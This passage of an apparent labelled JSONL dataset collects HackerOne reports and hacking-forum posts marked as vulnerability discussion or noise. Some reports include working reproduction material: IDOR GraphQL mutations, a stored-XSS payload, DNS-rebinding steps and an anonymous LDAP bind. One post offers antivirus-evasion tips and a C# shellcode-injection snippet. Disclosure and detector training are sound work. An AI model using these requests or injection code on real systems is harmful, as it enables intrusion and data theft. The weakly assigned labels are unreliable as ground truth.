HTTP/1.1\nHost: 20.85.59.5\nAccept: application/json, */*\nAccept-Encoding: gzip\nAuthorization: Bearer <omitted>\nUser-Agent: azurepolicyaddon/v0.0.0 (linux/amd64) kubernetes/$Format\n\nGET / HTTP/1.1\nHost: 20.85.59.5\nAccept: application/vnd.kubernetes.protobuf, */*\nAuthorization: Bearer <omitted>\nUser-Agent: kube-controller-manager/v1.17.13 (linux/amd64) kubernetes/f4a8e76/system:serviceaccount:kube-system:generic-garbage-collector\n\n2022/04/16 00:34:37 src IP: 20.69.190.88:21504\nGET / HTTP/1.1\nHost: 20.85.59.5\nAccept: application/json, */*\nAccept-Encoding: gzip\nAuthorization: Bearer  <omitted>\nUser-Agent: cpmonitor/v0.0.0 (linux/amd64) kubernetes/$Format\n```\n\n  * [attachment / reference]\n\n## Impact\n\n* Bearer token may be logged in the logging system in those internal backend \n* Potentially, they may be logged by kube-controller-manager or kubernetes api-server at certain verbose level   (not verified)\n* Redirected traffic may hit external/internal endpoints for spamming which would look originating from the cloud providers", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ef88a87912ed0a352429", "text": "[Improper Restriction of Authentication Attempts] Password of talk conversations can be bruteforced\n\n## Steps To Reproduce:\n\n  1. Instead of sending a POST to the authentication endpoint, the password can be added as a parameter on the GET request of the frontpage.\n  2. A failure will not log a bruteforce attempt, but a successful password will no longer bring up the login page\n\n## Supporting Material/References:\nFound while looking into https://support.nextcloud.com/#ticket/zoom/47814\n\n## Impact\n\nBrute force protection of public talk conversation passwords can be bypassed.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fbe4987cbd55af9bd2cf", "text": "[Unknown] Origin IP found, WAF Cloudflare Bypass\n\nDescription:\nI have discovered that the http://172.105.190.180/login/  site exposed it's IP\nwhich could allow bypassing of anti-DDoS mechanisms i.e you are using\nCloudflare for protection.\nFor Originate IP address which I found from https://search.censys.io/\n\nBy using these IP address as a resolver instead of the intended\naddresses I'm able to access the service without going through the\nWAF, thus I'm able to forward unfiltered payloads to the service, as\nwell as avoiding the common protections offered by Cloudflare, also\nbeing able to perform crippling denial-of-service towards the origin.\n\nSuggestion:\nMy recommendations fall in line with Cloudflare's own guidelines: the\nOrigin server must communicate exclusively with Cloudflare's IP\naddress ranges, otherwise--as reported in this post on Cloudflare's\nblog, the protection offered by having a reverse proxy basically\nbecomes useless.\nIP\n1  172.105.190.180\n2  139.162.232.147\nFiles Attached\n\n## Impact\n\nAs reported in many other submissions, Cloudflare bypasses can have a\nsignificant impact, as any adversary is now able to communicate with\nthe origin server directly, enabling them to perform unfiltered\nattacks (such as denial-of-service), and data retrieval", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c86c7e4915c1eac487af", "text": "[Business Logic Errors] CVE-2022-32207: Unpreserved file permissions\n\nWhen curl saves cookies, alt-svc and hsts data to local files, it makes the operation atomic by finalizing the operation with a rename from a temporary name to the final target file name.\n\nIn that rename operation, it might accidentally widen the permissions for the target file, leaving the updated file accessible to more users than intended.\n\n## Impact\n\nInformation disclosure (cookie file in specific)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-32207"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5f13045d9c7c7dd214e5", "text": "[Uncontrolled Resource Consumption] Database resource exhaustion for logged-in users via sharee recommendations with circles\n\n## Summary:\nRegistered users can generate massive database load \n\n## Steps To Reproduce:\n\n  1. create 9 circles and 6 folders (circles * folder > 50)\n  2. share all created folders with all created circles\n  3. open an other folder and open the share tab, so the URI /ocs/v2.php/apps/files_sharing/api/v1/sharees_recommended is requested\n  4. this requests results in a loop that runs as long as the php value max_execution_time is set; the recommended value for this is 3600 seconds (1h)\n  5. a small number of these requests will stress even large servers\n\nTested with Nextcloud 23.0.8\n\n## Impact\n\nAttacker slow down the system by generating a lot of database/cpu load.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2a9b3389f1af44050419", "text": "even the VPN sometimes is not safe i heard some VPN servers discloses the ip of there clients to the agencies", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6fd8a55d2f182c5711e3", "text": "[Unknown] An attacker can archive and unarchive any structured scope object on HackerOne\n\n**Summary:**\nHello, I have discovered an IDOR vulnerability that allows the scope of any program to be archived. Scopes are used to give information about the valid scopes of a program. For example HackerOne has the following scopes:\nhttps://hackerone.com\nhttps://api.hackerone.com\n...\n\n### Steps To Reproduce\n\n1. Obtain the structured_scope_id: \nThis can be found by base64 encoding: gid://hackerone/StructuredScope/NUMBER\nFor example, if the number was 94773 , the structered_scope_id would be Z2lkOi8vaGFja2Vyb25lL1N0cnVjdHVyZWRTY29wZS85NDc3Mw==\nOr, it could be found by intercepting the response of the program profile page.\n\n2. Send the Following Request:\n``` \nPOST /graphql HTTP/2\nHost: hackerone.com\nContent-Length: 388\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"\nAccept: */*\nX-Auth-Token: AUTHTOKEN\nContent-Type: application/json\nOrigin: https://hackerone.com\nReferer: https://hackerone.com/hackerone_com_h1b/scopes/94774/edit\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7\n\n{\"operationName\":\"ArchiveScope\",\"variables\":{\"structured_scope_id\":\"Z2lkOi8vaGFja2Vyb25lL1N0cnVjdHVyZWRTY29wZS85NDc3Mw==\"},\"query\":\"mutation ArchiveScope($structured_scope_id: ID!) {\\n  archiveStructuredScope(input: {structured_scope_id: $structured_scope_id}) {\\n    was_successful\\n    structured_scope {\\n      id\\n      archived_at\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\nIt is also possible to unarchive scopes of other programs with the following request.:\n```\nPOST /graphql HTTP/2\nHost: hackerone.com\nContent-Length: 414\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"\nAccept: */*\nX-Auth-Token: ████\nContent-Type: application/json\nOrigin: https://hackerone.com\nReferer: https://hackerone.com/hackerone_com_h1b/scopes/94774/edit\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7\n\n{\"operationName\":\"UnarchiveStructuredScope\",\"variables\":{\"structured_scope_id\":\"Z2lkOi8vaGFja2Vyb25lL1N0cnVjdHVyZWRTY29wZS85NDc3Mw==\"},\"query\":\"mutation UnarchiveStructuredScope($structured_scope_id: ID!) {\\n  unarchiveStructuredScope(input: {structured_scope_id: $structured_scope_id}) {\\n    was_successful\\n    structured_scope {\\n      id\\n      archived_at\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\nEven though the response will say no structured scope exists, the scope will be archived.\nReplace the structured_scope_id with the scope you wish to target and the X-Auth-Token with your token.\nI will provide an Mp4 PoC soon.\n\n## Impact\n\nAn attacker could archive or unarchive all 90000+ scopes on HackerOne.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa55b1988b55716f22bd", "text": "Hey, Regarding the malicious employ, does he login trough HTTP or he is login with a different protocol. Because i was able to find the name of the picture but i am not able to find the username. I found from the logs that was added a username in Windows with password but this username is not the correct one. Could you please give a little bit hint, how to find the employee because the question is not so clear. Thanks in advance.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "147204fb3d2527eccf81", "text": "[Unknown] [Java] CWE-552: Query to detect unsafe request dispatcher usage\n\nThis bug was reported directly to GitHub Security Lab.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dbc5cbfc7b5caa51eec0", "text": "[Violation of Secure Design Principles] Ability to control the filename when uploading a logo or favicon on theming\n\n## Summary:\nHello,\n\nWhen uploading a logo or favicon the filename can be controlled by attacker since the ```key``` can be modified which serves as the  filename.\n\n\n{F2044799}\n\n{F2044800}\n\n{F2044798}\n\nDue to an error the path is also disclosed\n\n{F2044802}\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n1. go to ```http://localhost/settings/admin/theming```\n2. upload  a logo or favicon\n3. intercept the request using burp\n4. modify the key\n\n## Impact\n\nThe attacker can upload any files directly in the webapp and path disclosure. Combining both information can be useful in later attacks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c551c7fc8214cb7ad563", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS at https://█████\n\n**Description:**\nIn registeration page ( https://████ ) , first name and last name field are vulnerable to Stored Cross Site Scripting.\n\n## Proof of concept\nFor the fastly test, use this credentials to login (my test account)\n> email: █████████\npassword: ██████\n\nAfter login , alert document.cookie will triggered\n\n## Impact\n\nStored Cross Site Scripting which attacker can execute malicious javascript payload.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to registration page ( https://████ ), insert `<svg/onload=confirm(document.cookie)>` payload in firstname and lastname fields and create account.\n2. Verified your account.\n3. Go to login page and login your account.\n4. And XSS will triggered ( XSS also triggered in `My Profile` page) .\n\n## Suggested Mitigation/Remediation Actions\n1. Filter input on arrival.\n2. Encode data on output.\n3. Content Security Policy", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7fb703881386dba977c5", "text": "Hello. I use an ALFA AWUS036NHA for wireless adapter and it works flawlessly and doesn’t cost a fortune. I’d highly recommend it for someone starting up where you may not want to throw a lot of cash into the equipment. Example link (Amazon) .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0257482b2f56a8ebbb11", "text": "Apple Arcade's game subscription will likely cost $5 a month, report says\n\n\tDiscussion in 'other software & services' started by mood, Aug 19, 2019.\n\nSalutations/Greetings,Multistream to your favorite social channels | Restream", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "wilderssecurity", "timestamp": "2022-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dcf23c42d93a74a03988", "text": "[Privacy Violation] Friend Request Flow Exposes User Data\n\n## Summary:\nWhen submitting a friend request to a user, Zenly will allow access to their phone number regardless of whether the friend request is accepted or not. To obtain this information, a malicious actor only needs to know their username. \n## Steps To Reproduce:\nTo reproduce this issue, an environment that enables intercepting and decoding network requests is required. Once this environment is set up, we are able to gain visibility over network activity.\n{F1355295}\nThe vulnerability makes use of the **“Add by Username”** flow, which starts by searching a known username.\n{F1355316}\nThe interceptor that was previously set up can be used to view the requests that occurred during this search. Note that the “Add as Friend” button was never pressed, meaning a friend request was never sent.\n███████\nBy observing the response of the request that was executed on the `/UserPublicFriends` endpoint, a list of friends can be seen, although it is not displayed on the UI of the application. This list contains every friend of the user, one of them is **Bogus_CEO** (bogus CEO of Zenly, for demonstration purposes). Note that the response also contains their username, which could in turn be used to repeat this process and obtain their friends' list instead.\nOnce we obtain the username of the target user, we can obtain their phone number through a flow that is almost identical. On the **“Add by Username”** view, we search for their username and complete the flow by tapping the **ADD AS FRIEND** button.\n{F1355328}\nThis friend invitation will trigger a request to the `/FriendRequestCreate` endpoint, whose response contains specific information regarding both our user (items 3, 5, and 6 in the image below) and the target user (items 4, 7, and 8 in the image below).\n████████\nNote that the response contains both our phone number and the phone number of the target user, even though our friend request **was never accepted by the target user**.\n\n## Impact\n\nExposure of user data can be used by attackers for malicious purposes. Obtaining this data can put at risk not only the users of the application but also Zenly’s brand image.\nConsider a scenario where a malicious actor wants to attack a company by targeting its CEO. An attacker can make use of this vulnerability and employ the following attack vector:\n1. Search the web for an employee of the company and try to obtain their social media handle e.g., Twitter. (Best targets are employees who work in communications or marketing fields since they are typically more exposed and represent easier targets)\n2. Validate their handle is valid on Zenly.\n3. Access their list of friends through Zenly, obtain the handle of the CEO.\n4. Retrieve the phone number of the CEO through their username. <- This is already a privacy violation, but the scenario can go on...\n5. Carry out a spear-phishing attack, using the phone number of the CEO.\nAn attacker can also repeat these steps to obtain the phone number of other employees and thus prepare a more credible attack.\nNote that, according to the documentation provided by Zenly, present at [this link][1], it should not be possible to retrieve the phone number of a user unless we are already friends with them.\nThe following screenshot was obtained from this documentation:\n{F1355287}\n\n[1]: https://community.zen.ly/hc/en-us/articles/360001404288-View-or-call-my-Zenly-friend-s-phone-number", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b9e7742314e76539350a", "text": "[Unknown] [CPP]Add query to detect bugs like CVE-2017-5123\n\nThis bug was reported directly to GitHub Security Lab.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2017-5123"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "84dd969197192440ce5c", "text": "[OS Command Injection] DNS rebinding in --inspect (again) via invalid IP addresses\n\nThe IsAllowedHost check in https://github.com/nodejs/node/blob/fdf0a84e826d3a9ec0ce6f5a3f5adc967fe99408/src/inspector_socket.cc#L580 can easily be bypassed because IsIPAddress does not properly check if an IP address is invalid or not. When an invalid IPv4 address is provided (for instance 10.0.2.555 is provided), the browser will make a DNS requests to the DNS server, providing a vector for an attacker-controlled DNS server to perform a rebinding attack and hence access the JSON file containing the WebSocket file.\n\n## Steps To Reproduce:\nThe steps to reproduce is mostly the same as https://hackerone.com/reports/1069487, but replace localhost6 with 10.0.2.555, I am copying it here for reference.\n\n1. Victim runs node with --inspect option\n2. Victim visits attacker's webpage\n3. The attacker's webpage redirects to http://10.0.2.555:9229 \n4. 10.0.2.555 is not a valid IP address so the browser asks the malicious DNS server and gets <attacker's-IP> with a short TTL.\n5. Victim loads webpage http://10.0.2.555:9229 from <attacker's-IP>.\n6. The webpage http://10.0.2.555:9229 tries to load http://10.0.2.555:9229/json from attacker's server. \n7. Due to a short TTL, the DNS server will be soon asked again about an entry for “10.0.2.555”. This time, the DNS server responds “127.0.0.1”.\nThe http://10.0.2.555:9229 website (i.e., the one hosted on <attacker's IP>) will retrieve http://10.0.2.555:9229/json from 127.0.0.1, including webSocketDebuggerUrl. Now, the attacker knows the webSocketDebuggerUrl and can connect to is using WebSocket. Note that WebSocket is not restricted by same-origin-policy. By doing so, they can gain the privileges of the Node.js instance.\n8. In https://github.com/nodejs/node/blob/fdf0a84e826d3a9ec0ce6f5a3f5adc967fe99408/src/inspector_socket.cc#L164L175, the debugger does not recognise that 10.0.2.555 is not a valid IP address and so will allow disclosure of /json file.\n\nTo confirm this issue, I will just show two things (let me know if this is not enough):\nA) That when 10.0.2.555 is keyed into the browser (Firefox used), a DNS resolution request will be made by a browser to a DNS server, (thus, allowing the DNS rebinding vector to occur,\n1. Open Wireshark \n2. Add a redirector\n````\n<?php\n\nheader(\"Location: http://10.0.2.555:9229/json\");\n````\n3: In the browser visit the the redirector\n4. In Wireshark, see that DNS resolution request is being made for 10.0.2.555\n\nB) That when 10.0.2.555 is resolved, the browser will send a Host: 10.0.2.555 which the NodeJS debugger accepts and exposes the /json file.\n1. Modify /etc/hosts file\n````\n10.0.2.555      127.0.0.1\n````\n2. Visit the redirector in A) to get redirected to the /json file.\n\n## Impact: \nAttacker can gain access to the Node.js debugger, which can result in remote code execution.\n\n## References:\nhttps://hackerone.com/reports/1069487\nhttps://nodejs.org/en/docs/guides/debugging-getting-started/\n\n## Recommended Fix\nThe isIPAddress() check in https://github.com/nodejs/node/blob/fdf0a84e826d3a9ec0ce6f5a3f5adc967fe99408/src/inspector_socket.cc#L164L175 should be more stricter in validation.\n\n## Impact\n\nAttacker can gain access to the Node.js debugger, which can result in remote code execution.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "56383541dd334e3a7a4b", "text": "[Classic Buffer Overflow] Binary output bypass\n\nBinary output check bypass\n\n## Summary:\nWhen curl outputs content, it checks for binary output. If the output is large enough, it bypasses the check for binary output. This can mess with the terminal.\n\n## Steps To Reproduce:\n1. Setup a server of your choice.\n2. Create a function f with these arguments: char and num. Num is number of characters repeating.\n3. Before serving at a given endpoint, create an offset f(\".\", 16384)\n4. Create the payload with unicode 0x0 like this f(\"unicode 0x0\", 1)\n5. Make the server serve this at a given endpoint.\n6. Run this command: curl \"Accept: application/xml\" -H \"Content-Type: application/xml\" http://localhost:8080/yourendpoint\n7. Change the offset f(\".\", 16384) to f(\".\", 16383) to check if it worked.\n\n\n curlpayload.png is the code\nexecution.png is output for when it worked\nfailed.png is when it failed, when I changed the offset to 16383\n\n## Impact\n\nThere could be some further impact by this exploit. As of now it can make the terminal really buggy at times, but further implementations could lead to something else.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "feb789bb4fa5c4068bb5", "text": "[Information Disclosure] LDAP Anonymous Login enabled in ████\n\n**Description:**\nThe host ██████████ has anonymous LDAP login enabled, which means that anyone can connect to the LDAP server without providing any authentication credentials. This allows unauthorized users to perform LDAP queries, potentially retrieving sensitive information such as user details, organizational data, or other critical information stored in the LDAP directory.\n\n## References\nhttps://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap\n\n## Impact\n\nAttackers can exploit this vulnerability to gain unauthorized access to the LDAP server and retrieve sensitive information stored within the directory. Attackers can use the gathered information to perform further attacks, including privilege escalation, or targeted attacks against the system or its users.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\nLADP\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n## Proof Hosts Belong to DoD\n\n██████\n\n1. First install ldap3 using pip3 and run the following command.\n\n```\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import ldap3==\n>>> server = ldap3.Server('██████████', get_info = ldap3.ALL, port =636, use_ssl = True)\n>>> connection = ldap3.Connection(server)\n>>> connection.bind()\nTrue\n>>> server.info\nDSA info (from DSE):\n  Supported LDAP versions: 2, 3\n  Naming contexts: \n    dc=satx,dc=disa,dc=mil\n    uid=Monitor\n    cn=iasdsadmin\n  Supported controls: \n    1.2.826.0.1.3344810.2.3 - Matched Values - Control - RFC3876\n    1.2.840.113556.1.4.1413 - Permissive modify - Control - MICROSOFT\n    1.2.840.113556.1.4.319 - LDAP Simple Paged Results - Control - RFC2696\n    1.2.840.113556.1.4.473 - Sort Request - Control - RFC2891\n    1.2.840.113556.1.4.805 - Tree delete - Control - MICROSOFT\n    1.3.6.1.1.12 - Assertion - Control - RFC4528\n    1.3.6.1.1.13.1 - LDAP Pre-read - Control - RFC4527\n    1.3.6.1.1.13.2 - LDAP Post-read - Control - RFC4527\n    1.3.6.1.4.1.26027.1.5.2 - Replication repair - Control - OpenDS\n    1.3.6.1.4.1.26027.1.5.4\n    1.3.6.1.4.1.36733.2.1.5.1\n    1.3.6.1.4.1.36733.2.1.5.5\n    1.3.6.1.4.1.42.2.27.8.5.1 - Password policy - Control - IETF DRAFT behera-ldap-password-policy\n    1.3.6.1.4.1.42.2.27.9.5.2 - Get effective rights - Control - IETF DRAFT draft-ietf-ldapext-acl-model\n    1.3.6.1.4.1.42.2.27.9.5.8 - Account usability - Control - SUN microsystems\n    1.3.6.1.4.1.4203.1.10.1 - Subentries - Control - RFC3672\n    1.3.6.1.4.1.4203.1.10.2 - No-Operation - Control - IETF DRAFT draft-zeilenga-ldap-noop\n    1.3.6.1.4.1.4203.666.5.12\n    1.3.6.1.4.1.7628.5.101.1 - LDAP subentries - Control - IETF DRAFT draft-ietf-ldup-subentry\n    2.16.840.1.113730.3.4.12 - Proxied Authorization (old) - Control - Netscape\n    2.16.840.1.113730.3.4.16 - Authorization Identity Request Control - Control - RFC3829\n    2.16.840.1.113730.3.4.17 - Real attribute only request - Control - Netscape\n    2.16.840.1.113730.3.4.18 - Proxy Authorization Control - Control - RFC6171\n    2.16.840.1.113730.3.4.19 - Chaining loop detection - Control - Netscape\n    2.16.840.1.113730.3.4.2 - ManageDsaIT - Control - RFC3296\n    2.16.840.1.113730.3.4.3 - Persistent Search - Control - IETF\n    2.16.840.1.113730.3.4.4 - Netscape Password Expired - Control - Netscape\n    2.16.840.1.113730.3.4.5 - Netscape Password Expiring - Control - Netscape\n    2.16.840.1.113730.3.4.9 - Virtual List View Request - Control - IETF\n  Supported extensions: \n    1.3.6.1.1.8 - Cancel Operation - Extension - RFC3909\n    1.3.6.1.4.1.1466.20037 - StartTLS - Extension - RFC4511-RFC4513\n    1.3.6.1.4.1.26027.1.6.1 - Password policy state - Control - OpenDS\n    1.3.6.1.4.1.26027.1.6.2 - Get connection ID - Control - OpenDS\n    1.3.6.1.4.1.26027.1.6.3 - Get symmetric key - Control - OpenDS\n    1.3.6.1.4.1.4203.1.11.1 - Modify Password - Extension - RFC3062\n    1.3.6.1.4.1.4203.1.11.3 - Who am I - Extension - RFC4532\n  Supported features: \n    1.3.6.1.1.14 - Modify-Increment - Feature - RFC45", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4f70b59642aa7e524ee4", "text": "check other users! Some of them have some files that you might be able to see!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "71a68c565011eb299699", "text": "[Improper Access Control - Generic] IDOR: Authorization Bypass in LockReport Mutation for public reports\n\n**Summary:**\nHello team, I can lock any public report. \n\n\n### Steps To Reproduce\n\n1. Using your account, make this request. Notice its successful. Report id is the id of any public report.\n```\n{\"operationName\":\"LockReport\",\"variables\":{\"product_area\":\"reports\",\"product_feature\":\"inbox\",\"reportId\":\"Z2lkOi8vaGFja2Vyb25lL1JlcG9ydC8yMTIyNjcx\"},\"query\":\"mutation LockReport($reportId: ID!) {\\n   lockReport(\\n    input: {report_id: $reportId}\\n  ) {\\n was_successful\\n    errors {\\n      edges {\\n        node {\\n          id\\n          error_code\\n          field\\n          message\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\n\nPOC report: \nhttps://hackerone.com/reports/2122671 (accidental, Stopped testing after that)\n\n\n\n## Impact\n\nLock any report", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "58d550be420ca2cb0039", "text": "if it doesnt appear that there is an alias make sure you are running the basic powershell and not “powershell ISE” https://devblogs.microsoft.com/scripting/understanding-the-six-powershell-profiles/", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "97907f16a6207e5a22dc", "text": "Hey!!Well I’d recommend you first understand the AV’s then learn some basic C#. One of the thing about evading AV is understanding what is being detected.You don’t need to write in C but this is a good read on understand why the methods work0xpat.github.ioMalware development part 1 - basicsIntroductionThis is the first post of a series which regards development of malicious software. In this series we will explore and try to implement multiple techniques used by malicious applications to execute code, hide from defenses and...The following Link has references and ideas on how to execute Shell-code on your C# malwareppn.snovvcrash.rocksD/InvokeDynamic API InvocationThis is a simple C# malware that injects and executes shellcodegithub.comS3cur3Th1sSh1t/Creds/blob/master/Csharp/Dinvoke_CreateRemoteThread.cs// stolen from https://rastamouse.me/blog/process-injection-dinvoke/using System;using System.IO;using System.Runtime.InteropServices;using SharpSploit.Execution.DynamicInvoke;namespace InjectionTest{    class Program    {        static void Main(string[] args)        {            var shellcode = File.ReadAllBytes(args[0]);            var pointer = Generic.GetLibraryAddress(kernel32.dll, OpenProcess);            var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;            var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));            pointer = Generic.GetLibraryAddress(kernel32.dll, VirtualAllocEx);This file has been truncated. show originalIf you can look onto other researchers on the different methods they execute their malware you can grab an idea on how to write your own. For evading is usually stuff as changing variables names, removing comments, different methods of execution, size, flow of execution, obfuscation. You can use these terms to research methods of evading AV as these are used in different places (Go, PowerShell, C, F#, etc)Good Luck!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-08-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ee362c859bda54376a6a", "text": "[Insecure Direct Object Reference (IDOR)] Sensei LMS IDOR to send message\n\nHi there, hope you are doing great.\nSo, there is an option to send message to teacher privately by student on Sensei LMS.\nEach message sent by student will have different ID,\nStudent1 cannot access or send message to the message from Student2 (which is meant to be private with teacher)\nSimilarly Student2 cannot view/send message sent by student1 to the teacher.\n\nBut due to lack of access control, it is possible for any student to reply on any thread of Student to teacher just by simply changing ID of the thread which is numeric.\n\nThis may sound a bit complex but i will try to explain this with video POC, please let me know if you still didn't understood the vulnerability here:\n{F1759226}\n\n## Impact\n\nAny student can reply to other student's thread which is meant to be private between the original student [who sent message] and teacher.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "77a60a238902c7165ce4", "text": "Recruitment for battlegrounds and overall CTF competitions (on and off platform)\n\ngreetings hack fam! Ive seen other posts regarding teams and recruitment, figured I’d giveit a try. I started a new team \" strataGEM\" . I would like to use the platform and the team set up to build a small group of enthusiasts that will target certain machines upon release as a team in an organized effort. Battlegrounds as well. I would love to be able to be a part of a team that live chats as we hack and attack boxes with assigned roles according to our strengths and weaknesses. I do not care about current skill level for the most part however if you find yourself wanting to ask… “whats the first step to becoming a hacker” … keep learning my friend, the journey itself is a beautiful thing. More than anything I would like to create a safe competitive space for like minded enthusiasts and make some alliances in the hacking world. Hope to hear from some of you! If there is a team that functions in the way that I havae described and would like to possibly take on a new member id be down for that as well.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "97c3eac62d690d37c51a", "text": "I finished this module today. It was brutal. It was very confusing, and I thank you all for helping me in one way or another. The comments by @akorexsecurity specifically enabled me to finish this module. John", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "082fc103a75dcd032354", "text": "I tried a lot and got stuck at one injection trick which says that the moving permission is denied. Any further insight you have for me on this, please.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
